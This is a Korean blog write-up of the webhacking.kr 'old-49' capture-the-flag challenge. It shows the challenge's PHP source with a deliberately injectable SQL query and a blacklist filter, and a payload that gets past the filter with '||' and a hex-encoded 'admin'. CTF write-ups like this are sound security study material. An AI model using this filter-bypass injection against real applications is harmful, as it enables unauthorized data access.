반응형
문제
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<?php
if($_GET['lv']){
$db = dbconnect();
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
echo $result[0] ;
if($result[0]=="admin") solve(49);
}
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>
lv=1부터 4까지 사용자가 존재하며, 그 외 숫자는 아무것도 뜨지 않는다.
쿼리문을 조작하여 id가 admin인 사용자 값을 반환하면 문제가 해결될 것 같다.
문제풀이
select id from chall49 where lv=0 or id='admin'
필터링을 우회하여 아래와 같이 입력하면 문제가 해결된다.
select id from chall49 where lv=0||id=0x61646D696E
반응형
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-51 (0) | 2023.01.05 |
---|---|
[Webhacking.kr] old-50 (0) | 2023.01.05 |
[Webhacking.kr] old-48 (0) | 2023.01.04 |
[Webhacking.kr] old-47 (0) | 2023.01.04 |
[Webhacking.kr] old-46 (0) | 2023.01.04 |